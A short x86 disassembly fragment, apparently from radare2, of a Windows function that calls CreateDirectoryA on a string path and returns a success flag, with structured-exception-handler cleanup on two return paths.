mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0040fe10
cmp dword [edi + 0x14], 0x10
jb 0x42c08e
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret